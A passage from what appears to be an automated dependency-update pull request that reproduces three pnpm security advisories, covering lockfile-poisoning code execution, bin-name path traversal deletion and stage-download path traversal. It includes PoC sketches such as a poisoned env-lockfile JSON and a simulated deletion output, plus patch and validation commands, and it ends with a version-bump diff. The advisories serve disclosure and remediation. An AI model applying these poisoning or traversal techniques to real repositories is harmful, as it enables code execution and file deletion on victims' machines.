- Base commit: `origin/main` `55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec`
- Maintainer priority: `start-here`
- Component: `pnpm packageManager env lockfile`
- Patch area: package-manager env lockfile is re-resolved through
trusted registries before execution
- Affected packages: `npm:pnpm`,
`npm:@&amp;#8203;pnpm/installing.env-installer`
- CWE IDs: `CWE-829`, `CWE-494`, `CWE-345`
- Conservative CVSS: `8.8` /
`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`
- Next action: review the shared patch branch for this component, set
the final affected version range, merge and release the fix, then
publish or close the advisory.

##### Expected Patched Behavior

Committed env-lockfile package-manager entries are force-refreshed
through trusted registries before execution; attacker tarball requests
and markers stay at zero.

##### Files And Tests To Review

- `installing/env-installer/src/resolvePackageManagerIntegrities.ts`
- `pnpm/src/switchCliVersion.ts`
- `pnpm/src/switchCliVersion.test.ts`
- `.changeset/clean-package-manager-registries.md`

##### Focused Validation

Run these from a checkout of the shared patch branch. They are the
useful maintainer commands with machine-local artifact paths removed.

```bash
./node_modules/.bin/tsgo --build installing/env-installer/tsconfig.json
./node_modules/.bin/tsgo --build pnpm/tsconfig.json
PNPM_REGISTRY_MOCK_PORT=7799 NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../node_modules/.bin/jest src/switchCliVersion.test.ts -t "re-resolved package-manager lockfile" --runInBand
PNPM_REGISTRY_MOCK_PORT=7799 NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../node_modules/.bin/jest src/switchCliVersion.test.ts src/syncEnvLockfile.test.ts --runInBand
./node_modules/.bin/eslint installing/env-installer/src/resolvePackageManagerIntegrities.ts pnpm/src/switchCliVersion.ts pnpm/src/switchCliVersion.test.ts
git diff --check
```

The full patched replay for the shared branch passed with all 20
candidates marked fixed. This candidate's replay evidence is
`results/CAND-PNPM-063-patched-result.json`.
&lt;!-- maintainer-action:end --&gt;

##### Summary

pnpm can persist package-manager bootstrap metadata in the first YAML
document of `pnpm-lock.yaml`. Before the patch, direct pnpm execution
trusted an already resolved `packageManagerDependencies` entry when the
committed env lockfile contained matching `pnpm` and `@pnpm/exe`
versions. A malicious repository could therefore commit package-manager
lockfile package records and snapshots that bypassed fresh
package-manager resolution, then cause pnpm to install and execute bytes
selected by that committed lockfile state during automatic version
switching.

##### Details

The vulnerable source-to-sink path was:

- `lockfile/fs/src/envLockfile.ts` reads the repository's first YAML
lockfile document and validates shape only.
- `pnpm/src/main.ts` reaches `switchCliVersion()` when a direct pnpm
invocation sees a wanted `pnpm` package manager with `onFail=download`.
- `pnpm/src/switchCliVersion.ts` reads the committed env lockfile when
package-manager metadata should be persisted.
- `installing/env-installer/src/resolvePackageManagerIntegrities.ts`
treated `packageManagerDependencies` as resolved when only the `pnpm`
and `@pnpm/exe` versions matched.
- `engine/pm/commands/src/self-updater/installPnpm.ts` converts
env-lockfile `snapshots` and `packages` into the wanted lockfile used by
`headlessInstall()`.
- `pnpm/src/switchCliVersion.ts` executes the installed `pnpm` binary
with `spawn.sync()`.

The helper fast path is intentionally still version-based for
non-execution callers, so the security boundary is enforced at the
execution path: `switchCliVersion()` now re-resolves already present
package-manager env-lockfile entries before they can reach
`installPnpmToStore()` and `spawn.sync()`.

##### PoC

Standalone PoC and verification script:

The PoC constructs a committed env-lockfile object with matching
package-manager dependency versions and attacker-selected package
metadata:

```json
{
  "importers": {
    ".": {
      "configDependencies": {},
      "packageManagerDependencies": {
        "@&amp;#8203;pnpm/exe": { "specifier": "9.3.0", "version": "9.3.0" },
        "pnpm": { "specifier": "9.3.0", "version": "9.3.0" }
      }
    }
  },
  "lockfileVersion": "9.0",
  "packages": {
    "/pnpm@9.3.0": {
      "resolution": {
        "integrity": "sha512-poisoned"
      }
    }
  },
  "snapshots": {
    "/pnpm@9.3.0": {}
  }
}
```

Pre-patch exploit model:

1. The victim runs pnpm directly in a malicious repository.
2. The requested package-manager version differs from the currently
running pnpm.
3. pnpm enters `switchCliVersion()` and reads the committed env
lockfile.
4. Matching `pnpm` / `@pnpm/exe` versions short-circuit package-manager
resolution.
5. pnpm installs from the committed env-lockfile package records and
executes the resulting `pnpm` binary.

Observed primitive proof from the PoC:

```json
{
  "primitive": "unforced resolver reuses already-resolved env lockfile metadata",
  "isResolvedByVersionOnly": true,
  "reusedPoisonedIntegrity": true
}
```

The same script then runs the patched `switchCliVersion` regression. The
regression seeds a poisoned committed env lockfile, has the resolver
return a trusted replacement lockfile, and asserts
`installPnpmToStore()` receives the trusted lockfile rather than the
committed one. This would fail on the vulnerable control flow because
the resolver was not called and the committed lockfile reached the
installer.

Focused validation commands:

```bash
./node_modules/.bin/tsgo --build installing/env-installer/tsconfig.json
./node_modules/.bin/tsgo --build pnpm/tsconfig.json
PNPM_REGISTRY_MOCK_PORT=7799 NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../node_modules/.bin/jest src/switchCliVersion.test.ts -t "re-resolved package-manager lockfile" --runInBand
PNPM_REGISTRY_MOCK_PORT=7799 NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../node_modules/.bin/jest src/switchCliVersion.test.ts src/syncEnvLockfile.test.ts --runInBand
./node_modules/.bin/eslint installing/env-installer/src/resolvePackageManagerIntegrities.ts pnpm/src/switchCliVersion.ts pnpm/src/switchCliVersion.test.ts
git diff --check
```

Validation result:

- The PoC confirmed the unforced resolver still reuses a
version-matching env lockfile, proving the original primitive.
- Patched `switchCliVersion()` calls
`resolvePackageManagerIntegrities()` with `force: true` when committed
env-lockfile package-manager entries already satisfy the requested
version.
- Patched `switchCliVersion()` assigns the resolver return value back to
`envLockfile`.
- The installer receives the refreshed lockfile and not the poisoned
committed lockfile.
- TypeScript builds passed for `@pnpm/installing.env-installer` and
`pnpm`.
- The focused Jest regression passed: 1 passed, 1 skipped in
`switchCliVersion.test.ts`.
- ESLint passed for the affected package-manager switch files.
- `git diff --check` passed.

##### Impact

A malicious repository can cause arbitrary package-manager code
execution in the victim's developer or CI environment before normal
command handling continues. That code executes with the victim user's
privileges and can read local secrets, alter project files, mutate
dependency state, or run further commands.

##### Affected products

Ecosystem: npm

Package name: `pnpm`, `@pnpm/installing.env-installer`

Affected versions: current main before this patch; direct pnpm execution
with package-manager auto-switching and a repository-controlled env
lockfile.

Patched versions: pending release containing this patch.

##### Severity

Severity: High

Vector string: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`

Base score: 8.8

Rationale: the malicious source is repository-controlled package-manager
lockfile state delivered through normal supply-chain channels.
Exploitation is low complexity once the victim runs pnpm directly, no
attacker privileges are required, and user interaction is required.
Successful exploitation executes attacker-selected package-manager code
in the victim user's security context, with high confidentiality,
integrity, and availability impact.

##### Weaknesses

CWE-829: Inclusion of Functionality from Untrusted Control Sphere

CWE-494: Download of Code Without Integrity Check

CWE-345: Insufficient Verification of Data Authenticity

##### Patch

The patch makes automatic package-manager switching re-resolve
repository-provided bootstrap metadata before install and execution:

- `resolvePackageManagerIntegrities()` accepts `force`, which bypasses
the version-only fast path.
- `switchCliVersion()` creates a store controller even when the
committed env lockfile already contains satisfying package-manager
dependency versions.
- `switchCliVersion()` calls `resolvePackageManagerIntegrities()` with
`force: true` for already resolved package-manager entries.
- `switchCliVersion()` assigns the returned env lockfile back to
`envLockfile`, so `installPnpmToStore()` installs from freshly resolved
metadata.
- The package-manager bootstrap registry hardening from CAND-PNPM-061 is
reused, so the refresh happens through trusted package-manager
registries rather than repository workspace registries.

Changed files:

- `installing/env-installer/src/resolvePackageManagerIntegrities.ts`
- `pnpm/src/switchCliVersion.ts`
- `pnpm/src/switchCliVersion.test.ts`

Changeset:

- `.changeset/clean-package-manager-registries.md`

Pacquet parity:

No pacquet-side patch is required for this finding because pacquet does
not implement pnpm's package-manager auto-switch path or
`installPnpmToStore()`.

##### CVSS Reassessment

Initial CVSS remains correct for vulnerable versions:
`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` / 8.8 High.

Final CVSS after patch: not vulnerable after patch / 0.0. The PoC still
demonstrates the underlying unforced env-lockfile reuse primitive, but
the patched execution path force-refreshes package-manager metadata
through trusted bootstrap registries before install or execution.

##### Remaining Risk

The helper `resolvePackageManagerIntegrities()` still has an unforced
fast path that treats matching `pnpm` and `@pnpm/exe` versions as
resolved. Current execution-sensitive callers either use trusted
roots/registries or pass through the patched `switchCliVersion()`
boundary, but future execution paths should use `force: true` before
installing or executing package-manager bytes from repository-provided
env-lockfile metadata.

#### Severity
- CVSS Score: 8.8 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`

#### References
-
[https://github.com/pnpm/pnpm/security/advisories/GHSA-w466-c33r-3gjp](https://redirect.github.com/pnpm/pnpm/security/advisories/GHSA-w466-c33r-3gjp)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-55698](https://nvd.nist.gov/vuln/detail/CVE-2026-55698)
-
[https://github.com/advisories/GHSA-w466-c33r-3gjp](https://redirect.github.com/advisories/GHSA-w466-c33r-3gjp)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-w466-c33r-3gjp)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
&lt;/details&gt;

---

### pnpm: Reserved bin name deletes PNPM_HOME during global remove
[CVE-2026-55699](https://nvd.nist.gov/vuln/detail/CVE-2026-55699) /
[GHSA-4gxm-v5v7-fqc4](https://redirect.github.com/advisories/GHSA-4gxm-v5v7-fqc4)

&lt;details&gt;
&lt;summary&gt;More information&lt;/summary&gt;

#### Details
&lt;details&gt;
&lt;summary&gt;Maintainer Action Plan&lt;/summary&gt;

##### Maintainer Action Plan

This report is ready to review with the shared patch branch. Start with
the PR and the expected fixed behavior, then use the detailed exploit
narrative below only if you want to replay the original path.

- Advisory: `CAND-PNPM-085` / `GHSA-4gxm-v5v7-fqc4`
- Advisory URL:
https://github.com/pnpm/pnpm/security/advisories/GHSA-4gxm-v5v7-fqc4
- Shared patch PR:
[https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1](https://redirect.github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1)
- Shared patch branch: `security/ghsa-batch-2026-06-09`
- Patch commit: `a93449314f398cf4bdf2e28d033c02d37395ad22`
- Base commit: `origin/main` `55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec`
- Maintainer priority: `appendix`
- Component: `pnpm global add/remove bin cleanup`
- Patch area: bin name/path segment validation
- Affected packages: `npm:pnpm`
- CWE IDs: `CWE-22`, `CWE-73`
- Conservative CVSS: `6.5` /
`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H`
- Next action: review the shared patch branch for this component, set
the final affected version range, merge and release the fix, then
publish or close the advisory.

##### Expected Patched Behavior

Reserved, dot, and path-segment bin names are rejected or ignored;
global remove leaves `PNPM_HOME` and the sentinel file intact.

##### Files And Tests To Review

- `bins/resolver/src/index.ts`
- `bins/resolver/test/index.ts`
- `global/commands/test/globalRemove.test.ts`
- `pacquet/crates/cmd-shim/src/bin_resolver.rs`
- `pacquet/crates/cmd-shim/src/bin_resolver/tests.rs`
- `.changeset/strange-bin-segments.md`

##### Focused Validation

Run these from a checkout of the shared patch branch. They are the
useful maintainer commands with machine-local artifact paths removed.

- Use the private PR checks plus the patched replay coverage matrix for
this candidate.

The full patched replay for the shared branch passed with all 20
candidates marked fixed. This candidate's replay evidence is
`results/CAND-PNPM-085-patched-result.json`.
&lt;!-- maintainer-action:end --&gt;

##### Title

Reserved manifest bin names can make global package operations delete
outside the global bin directory

&lt;/details&gt;

##### Description

##### Summary

Manifest `bin` object keys such as `""`, `"."`, and `".."` passed pnpm's
bin-name guard. When a malicious package was installed globally, later
global remove, update, or add-replacement flows could re-derive those
names from the installed manifest and pass `path.join(globalBinDir,
binName)` to `removeBin`. For `"."` this targets the global bin
directory; for `".."` this targets its parent.

##### Details

The vulnerable dataflow was:

- `bins/resolver/src/index.ts` converted manifest `bin` object keys to
`binName` and only required URL-safe text or `$`. Empty, dot, dot-dot,
and scoped forms such as `@scope/..` were not rejected after scope
stripping.
- `global/packages/src/scanGlobalPackages.ts` scanned installed global
package manifests and returned manifest-derived `bin.name` values.
- `global/commands/src/globalRemove.ts`,
`global/commands/src/globalUpdate.ts`, and global add replacement logic
joined those names to `globalBinDir`.
- `bins/remover/src/removeBins.ts` recursively removed the resulting
path.

Install-time checks did not close the gap: bin target paths were
package-root checked, conflict checks looked at the same escaped path
but did not reject reserved segments, and bin-link warning paths could
leave the package installed for later global operations.

##### PoC

Run:

The script first performs a safe prepatch simulation in a temporary
directory:

```text
prepatch_reserved_bin_name=..
prepatch_delete_target=/.../cand-pnpm-085.XXXXXX/home
prepatch_deleted_global_bin_parent=true
```

It then validates the patched implementation:

```bash
./node_modules/.bin/tsgo --build bins/resolver/tsconfig.json
./node_modules/.bin/tsgo --build global/commands/tsconfig.json
./node_modules/.bin/eslint bins/resolver/src/index.ts bins/resolver/test/index.ts global/commands/test/globalRemove.test.ts
cd bins/resolver
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts --runInBand
cd global/commands
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/globalRemove.test.ts -t "global remove ignores reserved manifest bin names" --runInBand
cargo fmt --manifest-path pacquet/crates/cmd-shim/Cargo.toml --check
cargo test --manifest-path pacquet/crates/cmd-shim/Cargo.toml bin_resolver --lib
git diff --check -- bins/resolver global/commands/test/globalRemove.test.ts pacquet/crates/cmd-shim .changeset/strange-bin-segments.md pnpm-lock.yaml
```

The patched resolver no longer emits reserved bin names, and the
global-remove regression proves the deletion sink receives only
`path.join(globalBinDir, "good")`.

##### Impact

Direct confidentiality impact was not validated for this primitive; the
sink is deletion/corruption, not a read or disclosure path.

##### Affected Products

Ecosystem: npm

Package name: `pnpm`

Affected versions: versions before the patch that accept reserved
manifest bin names in TypeScript global package flows.

Patched versions: pending release containing the shared bin-name
hardening.

##### Severity

Corrected vulnerable severity: High

Corrected vulnerable vector string:
`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H`

Corrected vulnerable score: 8.1

Final post-patch score: 0.0, not vulnerable after patch.

The original scan score was 8.3 with `C:H/I:H/A:L`. Revalidation removes
direct confidentiality impact and raises availability to high because
the sink can recursively delete the global bin directory or its parent.

##### Weaknesses

CWE-22: Improper Limitation of a Pathname to a Restricted Directory

CWE-73: External Control of File Name or Path

##### Patch

- `bins/resolver/src/index.ts` now rejects empty, dot, and dot-dot bin
names after scope stripping.
- `bins/resolver/test/index.ts` covers empty, dot, dot-dot, and scoped
reserved bin keys.
- `global/commands/test/globalRemove.test.ts` proves global remove
filters reserved manifest bin names before deletion and only removes a
safe `good` shim.
- `pacquet/crates/cmd-shim/src/bin_resolver.rs` mirrors the same
reserved-name rejection; empty names were already rejected.
- `pacquet/crates/cmd-shim/src/bin_resolver/tests.rs` extends parity
coverage.
- `.changeset/strange-bin-segments.md` records patch releases for
`@pnpm/bins.resolver`, `pnpm`, and `pacquet`.

Pacquet parity is appropriate at the shared bin resolver/linker boundary
because pacquet dependency-management commands can resolve and link
package bins, even though the TypeScript-only global remove/update/add
replacement flow is the concrete destructive-delete sink.

##### Validation

Passed locally:

The script passed TypeScript builds, ESLint, `bins/resolver` Jest,
global-remove sink Jest, pacquet fmt/tests, and `git diff --check`.

#### Severity
- CVSS Score: 6.5 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H`

#### References
-
[https://github.com/pnpm/pnpm/security/advisories/GHSA-4gxm-v5v7-fqc4](https://redirect.github.com/pnpm/pnpm/security/advisories/GHSA-4gxm-v5v7-fqc4)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-55699](https://nvd.nist.gov/vuln/detail/CVE-2026-55699)
-
[https://github.com/advisories/GHSA-4gxm-v5v7-fqc4](https://redirect.github.com/advisories/GHSA-4gxm-v5v7-fqc4)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-4gxm-v5v7-fqc4)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
&lt;/details&gt;

---

### pnpm: `stage download` writes outside its destination directory via
manifest name/version traversal
[CVE-2026-55700](https://nvd.nist.gov/vuln/detail/CVE-2026-55700) /
[GHSA-v23m-ccfg-pq9h](https://redirect.github.com/advisories/GHSA-v23m-ccfg-pq9h)

&lt;details&gt;
&lt;summary&gt;More information&lt;/summary&gt;

#### Details
##### Summary

The staged-tarball filename traversal reported as GHSA-v23m-ccfg-pq9h /
CAND-PNPM-038 is fixed on `main` by
[pnpm/pnpm#12303](https://redirect.github.com/pnpm/pnpm/pull/12303),
merged as `65443f4bdf1f0db9c8c7dc58fee25252607e9234`.

Before the fix, `pnpm stage download` derived a local filename from
registry-controlled package name and version fields. A crafted manifest
could escape the selected download directory and overwrite another
reachable file. The merged fix validates both fields, derives one safe
filename, and verifies the final destination before writing.

##### Security boundary

- Package names and semantic versions are validated before they can
influence a local filename.
- POSIX and Windows path separators are rejected by basename checks.
- Stage download and tarball summary paths use the same filename helper.
- The resolved output path must remain an immediate child of the
selected download directory.
- The stage identifier is already constrained to a UUID.

##### Exploit replay

Before `65443f4bdf`, a traversal-bearing manifest version could make the
command write outside the selected directory. After the fix, malicious
package names fail with `ERR_PNPM_INVALID_PACKAGE_NAME`, malicious
versions fail with `ERR_PNPM_INVALID_PACKAGE_VERSION`, no outside file
is created, and the download directory remains empty.

##### Files changed

- `releasing/commands/src/tarball/safeTarballFilename.ts` validates
manifest identity and rejects cross-platform path separators.
- `releasing/commands/src/stage/download.ts` verifies the resolved
destination before writing.
- `releasing/commands/src/tarball/summarizeTarball.ts` uses the same
filename contract.
- `releasing/commands/test/stage.test.ts` covers traversal through both
package name and version.
- `.changeset/stale-stage-tarballs.md` includes patch bumps for
`@pnpm/releasing.commands` and `pnpm`.

##### Patch

- Merged PR:
[https://github.com/pnpm/pnpm/pull/12303](https://redirect.github.com/pnpm/pnpm/pull/12303)
- Fix commit: `65443f4bdf1f0db9c8c7dc58fee25252607e9234`
- The private candidate branch was not submitted because it conflicts
with and is superseded by the merged fix. The upstream patch is slightly
stronger because it covers malicious package names as well as versions.

##### Commands run

```text
$ git diff --check 65443f4bdf^ 65443f4bdf
PASS
$ gh pr view 12303 --repo pnpm/pnpm --json state,mergeCommit,statusCheckRollup
MERGED as 65443f4bdf
```

##### Validation

- Upstream regression coverage rejects traversal through both manifest
name and version and verifies that no outside file is created.
- Compile and lint, dependency audit, Linux Node.js 22/24/26, CodeQL,
and zizmor checks passed on the merged public PR.
- The Windows Node.js 22 full-suite job timed out in the unrelated
`pnpm/test/dlx.ts` cache test after 512 other tests passed. The PR was
merged by the maintainer; the failure did not involve the staging code.
- The earlier private candidate's focused exploit regression, positive
control, package compile, ESLint, and `git diff --check`

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diff --git a/package.json b/package.json
@@ -56,11 +56,11 @@
         "typescript": "^6.0.0",
         "typescript-eslint": "^8.58.0"
     },
-    "packageManager": "pnpm@11.5.1",
+    "packageManager": "pnpm@11.8.0",
     "devEngines": {
         "packageManager": {
             "name": "pnpm",
-            "version": "11.5.1",
+            "version": "11.8.0",
             "onFail": "error"
         }
     }

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`56`	`56`	`"typescript": "^6.0.0",`
`57`	`57`	`"typescript-eslint": "^8.58.0"`
`58`	`58`	`},`
`59`		`- "packageManager": "pnpm@11.5.1",`
	`59`	`+ "packageManager": "pnpm@11.8.0",`
`60`	`60`	`"devEngines": {`
`61`	`61`	`"packageManager": {`
`62`	`62`	`"name": "pnpm",`
`63`		`- "version": "11.5.1",`
	`63`	`+ "version": "11.8.0",`
`64`	`64`	`"onFail": "error"`
`65`	`65`	`}`
`66`	`66`	`}`